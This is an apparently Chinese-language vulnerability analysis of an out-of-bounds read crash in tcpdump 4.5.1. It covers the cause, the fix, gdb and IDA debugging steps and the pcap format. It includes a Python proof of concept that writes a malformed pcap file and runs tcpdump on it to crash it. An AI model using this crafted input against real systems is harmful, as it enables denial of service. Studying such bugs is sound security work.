tcpdump|tcpdump 4.5.1 crash 漏洞
- 漏洞描述
- tcpdump 4.5.1 越界读漏洞 , 原因在于没有检测 caplen 的长度是否小于数据包的包头.
- 漏洞影响范围
- tcpdump < 4.7.0
- 修复措施
- hex_and_ascii_print_with_offset 增加的对 caplen 合理性的检测,检测输出的长度是否大于数据包的总长度
- libpcap 增加了对 pcap_next_packet 增加了对数据包 caplen大小 的检测 , 检测是否 > 0x40000
- 实验环境
- ubuntu16.04 x86_64
- tcpdump version 4.5.1
- libpcap version 1.7.4
- tcpdump version 4.5.1
- gdb with pwndbg , peda
- 有源码,编译后带调试信息
- ubuntu16.04 x86_64
- poc
from time import sleep def crash(): command = 'tcpdump -r crash' buffer='\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\xf5\xff' buffer+='\x00\x00\x00I\x00\x00\x00\xe6\x00\x00\x00\x00\x80\x00' buffer+='\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00<\x9c7@\xff\x00' buffer+='\x06\xa0r\x7f\x00\x00\x01\x7f\x00\x00\xec\x00\x01\xe0\x1a' buffer+="\x00\x17g+++++++\x85\xc9\x03\x00\x00\x00\x10\xa0&\x80\x18\'" buffer+="xfe$\x00\x01\x00\x00@\x0c\x04\x02\x08\n', '\x00\x00\x00\x00" buffer+='\x00\x00\x00\x00\x01\x03\x03\x04' with open('crash', 'w+b') as file: file.write(buffer) try: call(split(command)) print("Exploit successful!") except: print("Error: Something has gone wrong!") def main(): print("Author:David Silveiro") print("tcpdump version 4.5.1 Access Violation Crash") sleep(2) crash() if __name__ == "__main__": main()```
- 漏洞分析
- 运行后漏洞定位 , 越界读
-
文章图片
1569742898375.png
- 0x40cd97movzx ebx, BYTE PTR [r12-0x1]
- r12 - 1 刚好越界
-
文章图片
1569743032344.png
-
- bt 回溯 查看调用代码位置
-
文章图片
1569743115095.png
-
- 关键参数
- 决定输出循环终止 | nshort = length / sizeof(u_short)
- length 在函数调用时传入 length=0xfffffff3
- 根据 bt 发现由 ieee802_15_4_if_print 调用 ,
- 180行 ,caplen 为 length 参数 , 由 hex_and_ascii_print 函数中转 [图片上传失败...(image-d89e5c-1570194657331)]
- caplen 由 数据包结构体的 caplen项 转变
- u_int ieee802_15_4_if_print(struct netdissect_options *ndo, const struct pcap_pkthdr *h, const u_char *p)
- 变化过程
- 目的 : 将 p 调整至数据包内容的开始 ,同时 caplen 减去数据包头的长度
- h # 数据包
-
文章图片
1569776934738.png -
文章图片
1569743335276.png
-
- caplen = h->caplen # 0x8
- if caplen >= 3
- caplen -= 3 # 0x5
- caplen -= hdrlen # 0xfffffff3 # -0xd
- p=0x8245b0 "@\377"
- fc = EXTRACT_LE_16BITS(p);
- hdrlen = extract_header_length(fc);
- // hdrlen = 0x12
- p=0x8245b0 "@\377"
- 目的 : 将 p 调整至数据包内容的开始 ,同时 caplen 减去数据包头的长度
- u_int ieee802_15_4_if_print(struct netdissect_options *ndo, const struct pcap_pkthdr *h, const u_char *p)
- 决定输出循环终止 | nshort = length / sizeof(u_short)
- 所以此处漏洞成因是没有检测 caplen 的长度大小是否小于 数据包头结构体的长度 (0x15)
- 运行后漏洞定位 , 越界读
- 参考链接
- k0shl 分析思路
- 介绍 越界读 导致的 crash . 对 数据包 的长度没有严格控制,导致连续读取到一定长度后会读取到无效的内存空间,从而导致拒绝服务的发生
- 调试
- poc 生成导致 crash 的 pcap包
- gdb 调试 -r 参数打开 crash 数据包 , 到达崩溃位置
- run -r crash | gdb 带参运行
- 0x8001e612: movzx edi,BYTE PTR [edi+esi*2+0x1] 确定了越界读发生的位置
- bt 回溯调用情况
- 【tcpdump|tcpdump 4.5.1 crash 漏洞】看整个运行过程 , 和崩溃位置前的程序输出
- poc 生成导致 crash 的 pcap包
- 分析
- pcap文件包的结构 关键结构体
- 文件头
- magic int32 # magic number 标识符
- u_short version_majar # 主版本号
- u_short version_minor # 次版本号
- bpf_int32 thiszone # 时区修正
- bpf_u_int32 sigfigs # 精确时间戳
- bpf_u_int32 snaplen # 每个数据包保存的最大长度
- tcpdump -s 0 就是设置这个参数 , 缺省为 68
- linktype: # 链路层类型:32位, 数据包的链路层包头决定了链路层的类型。
- magic int32 # magic number 标识符
- 数据包
- struct timeval ts # 详细时间戳
- bpf_u_int32 caplen # 保存的包长度
- bpf_u_int32 len # 数据包真实长度
- struct timeval ts # 详细时间戳
- 时间戳 timeval
- long tv_sec # 秒数
- suseconds_t tv_usec # 微秒
- long tv_sec # 秒数
- 标记关注的重点 数据包的caplen
- 文件头
- 分析漏洞触发流程
- 根据bt的结果 , 从main函数开始跟进
- 看到 call 调用跟进
- 看到标志性输出,分析关键位置在附近
- 接着跟进动态调用 , 一步步知道发现有循环
- 发现循环带计数器,将 ida 反编译结果和gdb调试信息对比,分析关键逻辑
- 做出推测,并根据相应寄存器做出验证
- 注意点
- 分析部分 这里需要学习的是配合ida的调试思路,对于没有源码的调试比较有参考价值
- 看到关键逻辑推测和验证
- 注意查找关键逻辑的思路,考虑直接从搜索标识性字符串入手,或者根据 bt 的结果,看对应位置是否有函数,一步步反推
- 分析部分 这里需要学习的是配合ida的调试思路,对于没有源码的调试比较有参考价值
- 介绍 越界读 导致的 crash . 对 数据包 的长度没有严格控制,导致连续读取到一定长度后会读取到无效的内存空间,从而导致拒绝服务的发生
- 先知社区的本漏洞分析文章
- 安全客 深入分析文章
- k0shl 分析思路
推荐阅读
- 深入理解|深入理解 Android 9.0 Crash 机制(二)
- Android|莫名Crash---目睹Baidu地图API之怪现象一
- 02.Android崩溃Crash库之App崩溃分析
- 网络抓包|网络抓包 tcpdump 使用指南
- 故障分析 | MySQL 设置 terminology_use_previous 参数导致数据库 Crash
- iOS|iOS -- crash
- 在Android|在Android Activity中捕获Application Crash
- Java高效开发-SSH+Wireshark+tcpdump组合拳
- Crash
- RecyclerView滑动过程中刷新数据导致的Crash